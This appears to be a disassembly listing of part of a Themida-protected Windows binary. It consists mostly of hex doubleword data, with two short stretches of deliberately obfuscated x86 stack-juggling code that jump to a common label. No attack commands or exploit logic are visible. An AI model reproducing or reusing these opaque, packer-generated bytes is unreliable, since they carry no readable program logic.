		dd 3477F669h, 86EFF8C4h, 9CE0EB7h, 7B49B2F5h, 0F412AB20h
		dd 185513BFh, 77D0577Bh, 20226A4h, 387B82F9h, 0AD3E8479h
		dd 6B7735A2h, 210441D6h, 5277B5B7h, 0C65728C8h,	0EAF36904h
		dd 0D1347267h, 30B89688h, 9F97D106h, 0FAE0A653h, 0C4DDD247h
		dd 0A7551872h, 189E5B06h, 7773F069h, 99F6AE24h,	0ED7A2540h
		dd 1679CCFEh, 4DF4D5D1h, 11F90C8Ah, 0E6135F57h,	92473AA0h
		dd 3AEF114h, 0D4000000h, 686E9DA7h, 6196D92Ch, 5B81C05Bh
		dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh
		dd 7CF7695h, 83F27883h,	0C8904ECh, 81E18924h, 4C1h, 4E98300h
		dd 5C240C87h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 8952242Ch, 4C281E2h,	81000000h, 4EAh, 24148700h, 240C895Ch
		dd 80680BBDh, 0B5B85013h, 0C1519D4Bh, 770507E8h, 3569B62Bh
		dd 5C5B670Dh, 9A35D8F7h, 2D28CF17h, 0EEC9E4C3h,	5458C501h
		dd 81240C8Bh, 4C4h, 5CDF6800h, 2C890000h, 8418F24h, 56240C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h,	0C4835D24h
		dd 0E41E904h, 0BC4FFFF9h, 34B84703h, 305E971h, 7BE0FFC5h
		dd 877A8FFCh, 2346BE4Dh, 6C14A14Dh, 762BF3AEh, 0C911E98Bh
		dd 45691312h, 2B028FB1h, 1965F2C3h, 0A4429AC3h,	8227A140h
		dd 6C17E627h, 676E9713h, 463DDF9Ah, 3C212E48h, 0F91B0F77h
		dd 2E21B794h, 76AF8AAh,	0E6F9804h, 0BA5D6DE0h, 0E8749619h
		dd 0B771BECFh, 0B4559346h, 3E200A4Ah, 3E01F5EBh, 8D5FBB0Dh
		dd 0E972EA8Dh, 0FBBF0F05h, 0BE98D89h, 6A05E2h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 85C725C3h, 5E20761h,	736Ch, 5E9h, 39B03900h,	8F0F39B0h
		dd 6, 9419D8Bh,	85C705E2h, 5E21B55h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 63C35343h
		dd 0D2CB56F2h, 6D0468DAh, 187BE081h, 6E905F5h, 0B3000000h
		dd 0BA2114CEh, 0D1B5FF11h, 305E21Ch, 0E207A5B5h, 1595FF05h
		dd 6605E20Bh, 6AF28Bh, 0AB995FFh, 0C08B05E2h, 5B4D4CEBh
		dd 78E75754h, 70913EB1h, 25EB9426h, 0A7078D69h,	0F04C1943h
		dd 60D167DDh, 0FA64A200h, 68D6105Eh, 1F5A390h, 0E8DBEA55h
		dd 8726B50Eh, 19BF124h,	0C79DAB83h, 8DF4534Ah, 0D090DF64h
		dd 2C04F942h, 0CE78BEF9h, 486089D3h, 4EB24DEh, 29A102CAh
		dd 5D5E9h, 0EAAE2800h, 5D599DECh, 8408F0B1h, 0EEAC2B1Eh
		dd 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h,	7237D3DFh
		dd 0DB9B0785h, 0CA4C0DAAh, 9885F9F1h, 23696E52h, 5B1CBD3Ch
		dd 51FC18B9h, 67BE7ABh,	3EBFCED2h, 125DF8C1h, 4A3FDBE9h
		dd 0B5FC0F8Dh, 20B907F2h, 4FF2B821h, 80B9DBDAh,	9D2832Dh
		dd 0AEB62362h, 1EF7D99Ah, 0A82C13B4h, 0D39599ECh, 246297E3h
		dd 8711CBBEh, 0F4124F53h, 207B47B5h, 1859FE61h,	0C9FC186Bh
		dd 0C7CB0F72h, 0AB9637A4h, 6AFF6230h, 4F830680h, 84AF3867h
		dd 891C9A5Dh, 0FD089446h, 105E5610h, 1744A7E5h,	6E4600DAh
		dd 0C8D6DA00h, 0E33A8079h, 1833E886h, 7F77F1FCh, 49DD508h
		dd 8D7A3Ah, 6E4C0000h, 7FD82369h, 0FC18B9C0h, 129561E7h
		dd 3A0413BFh, 0E3A72F6Eh, 58A5398h, 8, 9519C382h, 6E4C576h
		dd 3F22666Eh, 0B95A1BBCh, 3790FC18h, 0FC18B906h, 8DFA60DFh
		dd 26AE113Ch, 99C67EBEh, 2E91011Ah, 0B7AAE7ADh,	9BA29334h
		dd 473FC18h, 1B8A3413h,	0BB0C7A8Bh, 0E0A65190h,	189E5A85h
		dd 0E4FDEE2h, 0D00B4AD1h, 0C038BBC2h, 9460EAFCh, 887C3E2Ch
		dd 0D0FEBA3Ah, 3FE6891h, 734810B2h, 0E1E66217h,	1C4974E2h
		dd 6E3D3BA7h, 5DC4276Dh, 0E05857CCh, 779F8BE0h,	0C31F38A3h
		dd 0F47B4CC9h, 2858400h, 1893B4A5h, 0B5166DFCh,	36B027AEh
		dd 0DC5BDB30h, 1B62DF3Fh, 5F9723D8h, 5E8BC05Bh,	4A5684CFh
		dd 2620BA33h, 2284EA4Eh, 0A9F7E452h, 0BC1D9C2Dh, 0FC180ABBh
		dd 3695C16Ah, 0E4A52BA6h, 0A6531EAFh, 8F3F983Ch, 66D37D30h
		dd 5F8B1C07h, 168E466h,	993F3099h, 99D6FC18h, 0BEFCFD2Ch
		dd 92DDEE6Fh, 0A1C35A66h, 15D84F27h, 0B83A0431h, 9385E42Fh
		dd 0B93DA364h, 0FA2780FDh, 0B1h, 0ED6D6ECCh, 18B90B4Ch
		dd 306DDAFCh, 226E6AD5h, 25115BDBh, 659424D9h, 0A9EFE85Fh
		dd 26AC1952h, 0F1149A43h, 1E01874Eh, 0A02A9F89h, 0C11A0C35h
		dd 981B1ABAh, 189E3E3Fh, 0EA6BCCFCh, 3BFC189Eh,	5069C64Ch
		dd 46EB1E16h, 853A0438h, 7Fh, 35268302h, 0ECFC1894h, 0AB848697h
		dd 4BD968AFh, 6D6EB472h, 1A5DC427h, 6C6FD2DEh, 20DA8526h
		dd 13C6099Ch, 92377E8Dh, 0FC18B9A1h, 17C43B70h,	66C07289h
		dd 0F1B7208Eh, 4A3A2C84h, 5B1CBD3Ch, 51FC18B9h,	519AE1A5h
		dd 0E26D7E35h, 35B4ABF9h, 18B9A394h, 140572FCh,	0E747D310h
		dd 5B4F98E1h, 22666E9Dh, 0B9C07EDBh, 0A8D9FC18h, 5FAEF4E9h
		dd 0B185CD1Eh, 413A37Eh, 1083Ah, 6E320000h, 0E2AE2C6Ah
		dd 86E5529Bh, 0E1169A5Fh, 0B987C811h, 0E15EFC18h, 0ECEE51B4h
		dd 0EF3E6BA0h, 16D5903h, 0F46A09D9h, 105893DDh,	173C3FDBh
		dd 0A8D0C33h, 83FAD89Dh, 7FC8DA1Fh, 0FC18A0FEh,	7A810FCCh
		dd 0CD1E55F1h, 0FAD4C264h, 8D4C3D01h, 30B3CA07h, 64C5C1C7h
		dd 0A5323573h, 1B815666h, 0ACAD0A4Fh, 65F9FA6Bh, 6B6ED10Eh
		dd 90F98425h, 0F9FA6BE1h, 86B480C6h, 728915C7h,	7861E0F9h
		dd 6B1E5FF8h, 7837F9FAh, 35A28703h, 2A6D1477h, 93DEEFADh
		dd 9AC52066h, 19A5575Bh, 0E31659ACh, 0B2344EDDh, 79387EC2h
		dd 558226E0h, 0A13AE56Dh, 7861CDB9h, 33EE9432h,	983FE61Fh
		dd 149h, 577B18A2h, 0DF3B77D0h,	0E55201FAh, 1C9A5F86h
		dd 4046B3F6h, 753DBA25h, 0C3C70F81h, 89C633B8h,	8E66C072h
		dd 60E577E0h, 981CD3A2h, 0EE6FB4B4h, 48FFA258h,	0FAF86EEFh
		dd 0FFC8A7F9h, 85018770h, 0E654429Fh, 47E93Fh, 18DD0000h
		dd 93D25579h, 401EFC66h, 0F8E10B05h, 3F97883h, 0DB1F42BFh
		dd 2E8BF6D7h, 0FC18FBFDh, 28E4C0Fh, 0F7166DB9h,	18FBA9AAh
		dd 1F5EC1FCh, 7B4D7DBh,	0CC8BCA6h, 993E2105h, 0FC18FB08h
		dd 85C4C2B9h, 0B9h, 8B7B18B9h, 6B48BCF3h, 1B170038h, 0E2C028C4h
		dd 0A0232693h, 43B8F8E1h, 70AD2E7Dh, 926C0E57h,	0C8A701FAh
		dd 0D673F2BDh, 0F9FAE065h, 7BE6C7BCh, 9009387Eh, 0FE91F7C2h
		dd 0F47F5189h, 0A8C20B0Ch, 63868425h, 0F21647E0h, 70CFF9FAh
		dd 0A9EFE857h, 6590D352h, 3697C427h, 0FAF157EDh, 6A5A0CF9h
		dd 52609DDCh, 363982CBh, 1CDFFBC1h, 0D7A15977h,	0FAF5C172h
		dd 0EE5B10F9h, 0D1298EB1h, 3007E060h, 5485C47Bh, 67EE7556h
		dd 9D13472h, 0D07D774Fh, 92EC4DFCh, 0E609C993h,	746533A7h
		dd 2966D736h, 0B52699D2h, 8E5F9CEFh, 0BD3C2318h, 0AD8B5B1Ch
		dd 0E2A851EDh, 0E8BE0F64h, 9D7B18E2h, 18B93B3Ch, 209DEAFCh
		dd 2C2E9821h, 0EA410202h, 0E1A75093h, 555384E5h, 0CD0C4F36h
		dd 69DE6C7h, 742D8847h,	41DED880h, 9472EF8Dh, 5685CC5Fh
		dd 6BD53D48h, 0A021259Bh, 0F5249637h, 7B4C6977h, 347703F3h
		dd 34A1C4C0h, 6D2BAC93h, 0D1D70061h, 0CECC0B4Ah, 1DE953BFh
		dd 646228D1h, 0B7D6D405h, 0CECh, 863CAD00h, 51999D75h
		dd 0A7F9CD1Eh, 2C686E9Dh, 5B6196D9h, 575B81C0h,	404E8D34h
		dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h
		dd 0C968F278h, 89000012h, 0DD68240Ch, 89000032h, 0A1682404h
		dd 89000030h, 0BE56241Ch, 4C9D02D4h, 3A9E681h, 0E6D1210Bh
		dd 7646B850h, 0C63105FBh, 5EF08958h, 45C668h, 24248900h
		dd 4240483h, 4EC815Bh, 89000000h, 438F2404h, 241C8B08h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 5124048Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 0FCE95C24h, 6CFFF906h,	9FB8C72Dh
		dd 305E978h, 51E0FFC5h,	0FC7CF2B1h, 4798770h, 122B5A9h
		dd 0D602D7C4h, 0AF30EF4Ah, 0A70CDB54h, 0BB3AF941h, 3B6E8F75h
		dd 0BE00FBB1h, 4A1FF7B4h, 0F45ED0F9h, 0FA700123h, 4E6C1D6Fh
		dd 0E5CDCA9h, 3653F6Dh,	996195A0h, 7E58EFFBh, 2174CD1Ah
		dd 7C24D7D2h, 85680280h, 495805A8h, 0F95F66E1h,	7104E38Dh
		dd 6440D7F5h, 8366B288h, 5C7DF166h, 184DE8BEh, 8D2229D5h
		dd 0E97A518Dh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0BBFB2023h, 3529052Fh
		dd 0E860EE95h, 6
dword_56567C	dd 0B069FEB3h, 9D895789h, 5E21775h, 7DBD895Fh, 6105E232h
					; DATA XREF: Themida_:004F0F34o
		dd 0BE98D89h, 8C0F05E2h, 26h, 9E8h, 0DA318F00h,	6B301D95h
		dd 12E92403h, 14000000h, 0B5D41F8Eh, 90142F24h,	0B60BF8BFh
		dd 1FF5F955h, 85C75835h, 5E20761h, 71A0h, 92E7D381h, 85C71DEDh
		dd 5E21B55h, 0
		dd 23E08160h, 0F5711BA6h, 8C0F61h, 0FF000000h, 0E21CD1B5h
		dd 5EF95105h, 0B1595FFh, 8B6605E2h, 0B8BE66D3h,	0FF006A8Fh
		dd 0E20AB995h, 0EBC08B05h, 0A30A5F4Ch, 468D6EF7h, 5A64023Ah
		dd 4527D09Bh, 786D5479h, 0B5A3D097h, 4EA17E19h,	74BFBC0Bh
		dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h,	0D9D0EDC5h
		dd 9962B7D6h, 0F5244BBFh, 47220A5Ch, 85110F9Bh,	0A0CEA78Ch
		dd 5612FD0Eh, 0AE82Bh, 8FA00000h, 0ED6E177Dh, 47E12E6Bh
		dd 58FE8B66h, 8CDB533h,	0C08105E2h, 64ADh, 68F0Fh, 0B5890000h
		dd 5E22D45h, 2137DBBh, 77F38137h, 6637020Ah, 30FFD68Bh
		dd 8B5975B6h, 0E2149595h, 6CE98105h, 0E935EBB4h, 6, 7460457Ch
		dd 0E9817109h, 22A7DD20h, 73EAE981h, 0BD8B330Ah, 5E22C6Dh
		dd 0D68B0889h, 379AE881h, 0B53309B4h, 5E22411h,	3796C081h
		dd 5E5609B4h, 0F01EB83h, 0FFFFB185h, 659D89FFh,	0EB05E21Ah
		dd 578E1704h, 575E969h,	0A3550000h, 4E86FBE7h, 0FDFD4C4Ah
		dd 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h,	7B672DACh
		dd 0C2C8D406h, 963C7A7Fh, 41F257AEh, 90F9F1C2h,	696E29EDh
		dd 0DAAB3C23h, 0ABE6A1BDh, 0B9218DFh, 293495C2h, 636F35A6h
		dd 48D3D91Eh, 0B3CAD009h, 0BCAC430h, 4AFD7E8Dh,	188E6CEDh
		dd 91CEA5FCh, 830FCB0Ah, 0BD01F978h, 9262246Eh,	867E382Eh
		dd 0DDF9BF38h, 0A53C3BACh, 0A573F2E3h, 139F5D04h, 0C33372F7h
		dd 7605F11Bh, 114E8E75h, 4F5389C8h, 7FF059D8h, 96FC181Ch
		dd 0FA6500D9h, 198EB1FFh, 3E4633A5h, 914B59Eh, 63CFA7A1h
		dd 0B3323579h, 18FA2516h, 1142E7FCh, 0C0FC18FAh, 3790EF6Bh
		dd 0A3E9EE53h, 0FA43FF58h, 0EE58FC18h, 563E9316h, 51ED3A04h
		dd 0D1000000h, 68FF696Eh, 0F95F37FFh, 6FCBCC2Ch, 2B6A1EEh
		dd 56E9B6D5h, 4DFC1892h, 29E42B1Bh, 863A043Eh, 1, 28666EB8h
		dd 8DBCE9AFh, 39E1221Ch, 0D55177CEh, 0F9315A4Fh, 5EE5C6F0h
		dd 40DBDF17h, 0B5D0D601h, 4BB78FC9h, 0BE830F8Bh, 69577339h
		dd 0C98A2FAEh, 3FC18B9h, 18B9B5A6h, 0B176CFCh, 810DCD3Ch
		dd 69E8F17Ah, 94DF2E74h, 62252460h, 88933478h, 0FF0E9449h
		dd 0EC3F8574h, 0FFBD386Fh, 0D0A4E6ACh, 0D4A00A68h, 410D31A6h
		dd 7CFC930Eh, 63F7E46Bh, 185C95C6h, 41F257FCh, 90FC185Ch
		dd 8BC0BFDBh, 9E1D0394h, 0EE361D12h, 6D7E3CBBh,	890FC8B9h
		dd 2D420196h, 5F038875h, 7C7CE78Eh, 6F6AD530h, 5B9BDA21h
		dd 67E7CC5Fh, 91D7298Fh, 41BF62A5h, 7A0C3A04h, 36000000h
		dd 20276D6Eh, 0E8449BB7h, 41BA3B1Bh, 9EA50673h,	681FA357h
		dd 0DCEDB129h, 0BB8BCDB1h, 9A008E4Fh, 766236A7h, 2D9AD32Ah
		dd 5A6097DEh, 565A80C3h, 424E8C37h, 45317B3Bh, 0CDD02E2Fh
		dd 572C595h, 0E59165E3h, 786139A2h, 3562EB32h, 3F4B9694h
		dd 4C803A04h, 1000000h,	5413F388h, 3A8300F8h, 276D6E4Ch
		dd 535F9DC4h, 8E66E0C8h, 9A3FBB20h, 0FC18B9D9h,	0D8C63308h
		dd 22666E12h, 0B9C07EDBh, 9F0FC18h, 0FBE160BBh,	6C2E54B7h
		dd 59C82098h, 4CDFE516h, 0C0B4BE0Fh, 4139449h, 13B3Ah
		dd 6E0F0000h, 6023266Ah, 67D43775h, 43B43F46h, 9ED82645h
		dd 1CA058A6h, 26E673F6h, 0D359C10Eh, 0BECDCB0Ch, 0EE7C03Dh
		dd 7B3A2D01h, 63E8337Fh, 0F072D75Ah, 2301FAEDh,	5944D554h
		dd 0F263C469h, 23F9FAC3h, 58CFC354h, 237A46B2h,	6DCA7DAAh
		dd 0F9FA21ECh, 0D67D4E25h, 0A62C6A6Fh, 5E9A16C3h, 0EF48CB52h
		dd 0F9FA216Eh, 2693C8A7h, 5607A023h, 8FF9FA21h,	50C17B0h
		dd 0D4CA9242h, 8F1F77B4h, 0AB207BB0h, 2BB6C912h, 7BEDF9FAh
		dd 0FCBA3F8Bh, 0BCF0A4Dh, 0FA2BADAEh, 0D20F64F9h, 0AB2C1D09h
		dd 0E4ED7AEDh, 1B439FBFh, 1150FBCCh, 2B5BA2E8h,	0C689B581h
		dd 0E318A0Eh, 1D5CC3C9h, 80B116DAh, 51F9FAB1h, 0E1CAD1Ah
		dd 0E61BCD00h, 11C623Fh, 6AFF0000h, 70A7C0E4h, 0AC9A2303h
		dd 0E71B39AEh, 4BC4B00Ch, 0B094B972h, 0C2DA28B1h, 463D01FAh
		dd 7D3BBC27h, 0A1E71051h, 0F54EDB5Ah, 5B6194E0h, 6299D932h
		dd 0DBE11659h, 0BC883240h, 8703894Eh, 2877F562h, 0FF0E9246h
		dd 50DDD7Eh, 9D90818Ah,	4488D3A3h, 6C0AC763h, 44A13FE6h
		dd 85000000h, 0D2557918h, 18B91475h, 97F64DFCh,	612DADECh
		dd 6C6ED11Ah, 3790C520h, 18B96DEEh, 0DB9A1DFCh,	0C80D981Eh
		dd 457F77FFh, 8C7936DAh, 78119740h, 13486793h, 35ACB6Ch
		dd 0BC8BFC18h, 7CB316h,	18CB0000h, 51D0577Bh, 817FE9EEh
		dd 0A5939E6Eh, 0CB44A71Ch, 27518DEAh, 2EBFF456h, 0FA19B5C5h
		dd 10176C01h, 5D074891h, 61DEF9FAh, 6C971BE8h, 20B9AA1Eh
		dd 951DDA05h, 8AC35A68h, 7F0B15Dh, 671D7A81h, 3CF9FA33h
		dd 0BCC3A0Ah, 0C956018Dh, 7AC562E5h, 9307E0BEh,	0D91E41A4h
		dd 0EFEDACD3h, 0CA1358A3h, 4DDA47A3h, 2985C9BAh, 450DDE2Bh
		dd 0FAEE7371h, 3C9FE247h, 0B9F609CEh, 7B18571Dh, 0B93B3C9Dh
		dd 9DEAFC18h, 39982120h, 5C020234h, 9C5D84E7h, 0A2A5E314h
		dd 0F1C25405h, 79B68DF9h, 0ADEBEC5Dh, 0BD01FBBAh, 0B1DCED6Eh
		dd 3FB325E8h, 6A38A36Dh, 6127D013h, 764EE81Ah, 0AD85B2DEh
		dd 40BD4F16h, 9DDC5FC2h, 4C0D5E5Ch, 858EBF6Bh, 61551DAEh
		dd 38A6E415h, 170A9049h, 0C019A754h, 0FDBB3AA5h, 2E0640AEh
		dd 759117C0h, 4644B5F4h, 2A15B627h, 0EF78EFADh,	259B5DDCh
		dd 0BEC5E666h, 3D7h, 9DA7EF00h,	0D92C686Eh, 0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 25CF68F2h, 14890000h, 63786824h
		dd 2C890000h, 4DC96824h, 34890000h, 4BBF5724h, 0BD57CB6Fh
		dd 5DB4EA86h, 3C8BFD29h, 4C48324h, 24348B54h, 4C481h, 0E9680000h
		dd 8900006Fh, 8B82404h,	1000000h, 582889F0h, 5324348Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 2C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 37h,	10h, 0C9h
		dd 450E386Fh, 0E6D034AAh, 0B8292001h, 5E9802Ah,	0E0FFC503h
		dd 2D0135F5h, 3666B34Bh, 0B5A605Ah, 4CEADFD8h, 48189051h
		dd 0D1EAD21h, 81B58D8Dh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 790131C3h, 0B634C0C8h
		dd 0B58B1928h, 5E21B31h, 0BE98D89h, 8B6605E2h, 6DB58BF3h
		dd 0C705E20Bh, 0E2076185h, 5F9405h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 89E6C86Fh
		dd 0CE1D73FDh, 4890Fh, 0BE660000h, 9D8B0120h, 5E21739h
		dd 1B5585C7h, 5E2h, 8D290000h, 5E216FDh, 2361B5FFh, 6A05E2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FFFF77C3h, 0E20B1595h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 8BB39CF3h
		dd 8BC082F0h, 0E2245D95h, 0FF006A05h, 0E20AB995h, 0EBC08B05h
		dd 0EDCC9228h, 0A3F3071h, 0C00A6A83h, 0F5BFC366h, 0F651A705h
		dd 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h
		dd 9D04EB7Eh, 0E93A62D4h, 513h,	0B5515583h, 1E8400F4h
		dd 0E7E3AF2Bh, 49555382h, 11BD03F8h, 39A2FB9Ah,	0DF1A6F6Bh
		dd 867435D1h, 2CAD9C3Ah, 57C606Eh, 0F138B3A4h, 0FB2362F9h
		dd 0ACEAEFAEh, 0E5A3541Bh, 1546E362h, 0CCFC18B9h, 84CF5677h
		dd 3C4D4957h, 0E8337F7Dh, 0E2175A63h, 8584A678h, 3A778100h
		dd 317760E3h, 2F6B6BEAh, 90D356DCh, 0DA84256Bh,	0C6CB5CEAh
		dd 23A6FDD3h, 24D59C2Dh, 0D3097866h, 0E11958CFh, 0BC0D4EDDh
		dd 5D619BEEh, 4E5487CEh, 39AED33Fh, 3D2C877Bh, 99C11A80h
		dd 179B41ADh, 7B41B68Bh, 0D90245C4h, 223BB0CBh,	0FC18CA31h
		dd 77F841E0h, 0AEFC18CAh, 384364D1h, 18CA235Fh,	0B68E38FCh
		dd 4869E73h, 5B0D3Ah, 6E310000h, 7FD82369h, 0FC18B9C0h
		dd 129561E7h, 3A0413BFh, 16Ch, 666E5600h, 6CEDB328h, 3AADC4D6h
		dd 59AC1943h, 0A7DADE16h, 0E6E09B32h, 18FA1041h, 0E16AC1FCh
		dd 20B90812h, 571BDA05h, 186241F2h, 6EDB90FCh, 6155171Fh
		dd 39A5E115h, 66C38F48h, 0FC1862F5h, 0FC1A572Ch, 276D6EF6h
		dd 0FCFEA120h, 47E055B0h, 0FC18B916h, 0CC5770CFh, 3A9F5185h
		dd 0FC18B939h, 0C72693E8h, 0CD390DAFh, 25048210h, 0B7FDFCB4h
		dd 38A0237Ah, 27307C7Eh, 35F75478h, 4AD10EADh, 0AAD8AC2Ah
		dd 5EADF1EBh, 73BECC1Dh, 0DA3A0445h, 0DDE3185Bh, 1887CB8Ch
		dd 3A2D1AFCh, 1887DC9Dh, 0AD3E75FCh, 6D60h, 6D6E5A00h
		dd 5D9DC427h, 0E48CA51h, 8E490836h, 6F78FD08h, 29B5FBE0h
		dd 0DDC1A358h, 536E5EF8h, 0E2ADF835h, 167539A3h, 9A5D04A5h
		dd 0AB2A6D1Ch, 2FB1DCEDh, 87AADDA9h, 0C43A04A1h, 57h, 0ED6D6EFEh
		dd 18B90B4Ch, 3A6DDAFCh, 9E81FEBAh, 5B44209h, 8C5DD2A6h
		dd 307C7EE1h, 714503D5h, 57CAD805h, 0FB08B8C2h,	0E7C02407h
		dd 666E2523h, 0C07EDB22h, 0D9FC18B9h, 7EEB976Fh, 0D326ABF9h
		dd 0CF7B4C23h, 3A04D112h, 0AB9h, 91A13600h, 0C695E2D6h
		dd 6EC1A506h, 0A023266Ah, 18B95607h, 0A7B08FFCh, 1BE07C83h
		dd 1C2780EAh, 76624D5h,	0D0E176BBh, 0BE7DA334h,	0E1D59D2Eh
		dd 10E61255h, 18DC86B7h, 0ABE05FFCh, 2A21C750h,	0C6B91D0Eh
		dd 0C9313089h, 66C342C5h, 0FC18D3F5h, 9076572Ch, 0FB5CBAA7h
		dd 0FC18D37Ah, 0E067DCABh, 0F3B93E61h, 319A23A8h, 1FAA731h
		dd 0D5948BE0h, 3A419A28h, 52783EBBh, 0BDACEAEFh, 93296C2Ch
		dd 0EFF89C2Fh, 0EC44FB44h, 2D1BF9FAh, 0AEECED59h, 16DE8120h
		dd 0F9C20B92h, 0CB318176h, 14978AC7h, 0FAEC82B3h, 0C3E453F9h
		dd 0FAC039B8h, 0DDA913A3h, 0A4226891h, 0E66823FEh, 0AE0B8A3Fh
		dd 0F9FAE0ADh, 71BE0F64h, 10Fh,	577B1875h, 276B91D0h, 7BFC5DC4h
		dd 0AAFC18B9h, 0D84760DDh, 0FADF037Fh, 8E1D6A01h, 8E149247h
		dd 85723EBBh, 3A77E407h, 317760E3h, 261E58EAh, 7D991FD8h
		dd 0E639DA37h, 44713Fh,	18750000h, 45D25579h, 4C1BB610h
		dd 0FF58CF07h, 0FC18957Eh, 800FD897h, 1895E627h, 0C5201FFCh
		dd 1895FB7Ch, 0DBAB93FCh, 0D3567619h, 18951576h, 0E51457FCh
		dd 0A3980EDFh, 18C38227h, 0E1FA738Ah, 8E9Eh, 7B18A400h
		dd 8E1D995Dh, 0C811104Dh, 1FAD2A6h, 0EE6FC879h,	27F9FAA0h
		dd 49881348h, 0BD8C0A90h, 7BE4A23Ch, 489BB797h,	95AF8813h
		dd 0CAF9FAF2h, 412FCE5Bh, 1B99800Ch, 547533A4h,	2BAC1AEAh
		dd 0D2297567h, 0BA3D2C99h, 0FAF15C1Dh, 2DBEF5F9h, 0FDD17E79h
		dd 734CED4Ah, 324507E0h, 4AC8CE7h, 136AA72Ah, 1A6127D0h
		dd 0C63275BCh, 0F72AA3FAh, 252DBE04h, 0DA8E9351h, 8C7102A7h
		dd 0C1A009C9h, 7AFB5C1Ch, 0ABEDAD80h, 0D70467DCh, 18767C9Ah
		dd 77D0577Bh, 2023BE6h,	28766524h, 0DB4F98DDh, 21D6196Ch
		dd 0CD0A7F9Bh, 589C14C5h, 5784E75Ch, 29A6831Ah,	0D83E4D8Eh
		dd 9F58A69Eh, 0DB4CFD19h, 8252D80Dh, 0B1B0095Dh, 783B4248h
		dd 0E1FAC039h, 0EA31777Eh, 0DD286E6Bh, 0B043F744h, 0C504F437h
		dd 55598117h, 3D2B8D18h, 0BDF9FD49h, 16B0ED6Eh,	6B2A582Ch
		dd 9EDF2E6Ch, 0D7D5024Dh, 3B8176CBh, 1581E0h, 0AEA50000h
		dd 0B9C98A2Fh, 2318FC18h, 0B9DA9B3Ch, 3C0BFC18h, 6E476DABh
		dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh,	0A9287341h
		dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 50E18951h
		dd 4B8h, 58C10100h, 8704E983h, 685C240Ch, 3ED4h
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 38C660D8h
		mov	eax, 3EAFE2C5h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 84h,	0C7h, 4Bh
		dd 3D78630Ch, 436134E1h, 0B8630B73h, 5E98685h, 0E0FFC503h
		dd 0FF8F247h, 7101832Dh, 0B5BA000h, 0F2F1029h, 1ED5EEFAh
		dd 6AE7C621h, 1485DC20h, 19961089h, 31085367h, 284BD3DDh
		dd 29CE74C4h, 26031015h, 6753CE96h, 441304EBh, 5BE959B7h
		dd 26000005h, 9BEEF4B0h, 0CEB35F5Bh, 2918860Ah,	9FE2E8AEh
		dd 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh,	1877031h
		dd 0FA8D985h, 0F9F13E4Eh, 6E5C9E87h, 59D82369h,	0B9C071D6h
		dd 0DCAFC18h, 53FF7C8Fh, 5F9CC3E4h, 0B93D3E9Bh,	9FD4FC18h
		dd 4205A422h, 0B1B00997h, 0B83B4248h, 6322793Fh, 0B91647E0h
		dd 70CFFC18h, 0A8ECE857h, 9F97D15Dh, 86B71093h,	44FC18B9h
		dd 18B972E3h, 4ED4A3FCh, 7069E8F1h, 13B4372Ah, 0FC18B922h
		dd 672384F3h, 75E643C2h, 0ACFC18B9h, 914BF6D7h,	3AA0810Dh
		dd 9F66F376h, 32F9CC1Dh, 0E8AE2B9Eh, 0CE0DB4DFh, 0D91E41C0h
		dd 0BA0348D3h, 390D3793h, 7830FCDh, 94F7B522h, 6F2DAAEDh
		dd 4779F55Eh, 0E462FC18h, 11449910h, 70E93A05h,	23FAA799h
		dd 2FB3A469h, 0F5BC6453h, 73D15E6Fh, 15000000h,	0D823696Eh
		dd 18B9C07Fh, 8F0BCEFCh, 0B23B4248h, 3ABF2645h,	2365297Ch
		dd 5593ED53h, 2144D561h, 0F18D0A1Eh, 0F4295D6Eh, 5B3A0453h
		dd 1, 22666E6Fh, 3D7B7C3Fh, 68EC6DEEh, 908C1F0Eh, 0E4AFB617h
		dd 0D893C465h, 0FF42FC18h, 6546B3F7h, 6FBEFAFAh, 3A25B324h
		dd 130A426Ah, 1647A6E4h, 964100D9h, 0CF89F510h,	4F4B8BF7h
		dd 0B3F9FE43h, 6D6E2917h, 599DC427h, 0E0BD2A5Dh, 8294BB5Dh
